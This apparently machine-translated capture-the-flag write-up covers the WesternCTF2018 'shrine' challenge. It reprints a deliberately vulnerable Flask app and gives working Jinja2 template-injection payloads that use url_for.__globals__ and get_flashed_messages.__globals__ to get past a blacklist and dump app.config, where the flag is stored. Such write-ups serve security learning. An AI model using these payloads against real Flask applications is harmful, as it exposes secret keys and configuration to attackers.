当前位置:网站首页>[WesternCTF2018]shrine writeup
[WesternCTF2018]shrine writeup
2022-07-02 00:57:00 【Shu Tian】
[WesternCTF2018]shrine
The direct thinking is Fancy reading global variables
I gave the source code directly at the beginning
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG') //environ Get... In the system FLAG Parameters , write in app.config in
@app.route('/') // visit '/' The code is displayed when the path
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '') // Get rid of ( and )
blacklist = ['config', 'self']
return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s
// amount to {
% set config=None%}{
% set self=None%} + s, First the config and self Set to none, Achieve the purpose of disabling functions
return flask.render_template_string(safe_jinja(shrine)) // The vulnerability of template rendering
if __name__ == '__main__':
app.run(debug=True)
ps About os.environ:
OS.ENVIRON() Detailed explanation _Muqingluan
python Get some information about the system
windows:
os.environ[‘HOMEPATH’]: Current user home directory .
os.environ[‘TEMP’]: Temporary directory path .
os.environ[PATHEXT’]: Executable file .
os.environ[‘SYSTEMROOT’]: System home directory .
os.environ[‘LOGONSERVER’]: machine name .
os.environ[‘PROMPT’]: Set prompt .linux:
os.environ[‘USER’]: Current user .
os.environ[‘LC_COLLATE’]: The alphabetical order when sorting the results of path extension .
os.environ[‘SHELL’]: Use shell The type of .
os.environ[‘LAN’]: The language used .
os.environ[‘SSH_AUTH_SOCK’]:ssh Execution path of .
The idea of this problem is to read global variables ( I tried construction ssti Ordered to execute payload, however __subclasses__() When an error , failed
Test it python Of ssti
/shrine/{
{8*9}}

because ''.join(['{ {% set {}=None%}}'.format(c) for c in blacklist]) + s This paragraph , We can't use it directly config Function to see all app.config Content , We have to take advantage of it python Objects to call disabled function objects .
current_app The value of is currently used app, Can pass current_app View the current app Of config
There are two flask Built in functions , Can cooperate with globals() Function to get global variables current_app(url_for and get_flashed_messages)
flask Unique functions in the framework :link
url_for()
url_for Based on the router function name passed in , Return the corresponding URL, Always use in templates url_for() You can safely modify the URL, It's no better than a link that worries about rendering errors in the template :
{ {url_for('home')}} /If we define a route URL With parameters , You can pass them in as key parameters url_for(),Flask They will be filled into the final generated URL in :
{ { url_for('post', post_id=1)}} /post/1get_flashed_messages()
This function will return before flask Pass through flask() List of incoming messages ,flash The function is simple , You can put Python The message represented by string is added to a message queue , Reuse get_flashed_message() Function takes them out and consumes :
{%for message in get_flashed_messages()%} { {message}} {%endfor%}
payload:
/shrine/{
{url_for.__globals__}}
#current_app': <Flask 'app'>

/shrine/{
{url_for.__globals__['current_app'].config}}
perhaps
/shrine/{
{get_flashed_messages.__globals__['current_app'].config}}

Reference resources wp:
[WesternCTF2018]shrine - Spring bird
边栏推荐
- 教你白嫖Amazon rds一年并搭建MySQL云数据库(只需10分钟,真香)
- 【八大排序②】选择排序(选择排序,堆排序)
- How to type spaces in latex
- Node -- egg implements the interface of uploading files
- Weather forecast applet source code weather wechat applet source code
- cookie、session、tooken
- Recently, three articles in the nature sub Journal of protein and its omics knowledge map have solved the core problems of biology
- Advanced skills of testers: a guide to the application of unit test reports
- Comprehensive broadcast of global and Chinese markets 2022-2028: Research Report on technology, participants, trends, market size and share
- 使用 ES 实现疫情地图或者外卖点餐功能(含代码及数据)
猜你喜欢

sso单点登录的实现。

Picture puzzle wechat applet source code_ Support multi template production and traffic master

【八大排序①】插入排序(直接插入排序、希尔排序)

Weather forecast applet source code weather wechat applet source code

2022 safety officer-a certificate examination questions and online simulation examination

Promise and modular programming

Leetcode question brushing: stack and queue 07 (maximum value of sliding window)

创业团队如何落地敏捷测试,提升质量效能?丨声网开发者创业讲堂 Vol.03

Kuberntes cloud native combat high availability deployment architecture

2022 pinduoduo details / pinduoduo product details / pinduoduo SKU details
随机推荐
Comprehensive broadcast of global and Chinese markets 2022-2028: Research Report on technology, participants, trends, market size and share
Node -- egg creates a local file access interface
Excel PivotTable
测试员8年工资变动,令网友羡慕不已:你一个月顶我一年工资
Global and Chinese markets for maritime services 2022-2028: Research Report on technology, participants, trends, market size and share
Leetcode skimming: stack and queue 02 (realizing stack with queue)
Global and Chinese market of collaborative applications 2022-2028: Research Report on technology, participants, trends, market size and share
【八大排序①】插入排序(直接插入排序、希尔排序)
How do Lenovo computers connect Bluetooth headsets?
Common loss function of deep learning
How to reflect and solve the problem of bird flight? Why are planes afraid of birds?
Global and Chinese markets for supply chain strategy and operation consulting 2022-2028: Research Report on technology, participants, trends, market size and share
Keepalived introduction and installation
excel数据透视表
Leetcode skimming: binary tree 02 (middle order traversal of binary tree)
Review notes of compilation principles
2023 Lexus ES products have been announced, which makes great progress this time
[eight sorts ①] insert sort (direct insert sort, Hill sort)
Deb file installation
【CTF】bjdctf_2020_babystack2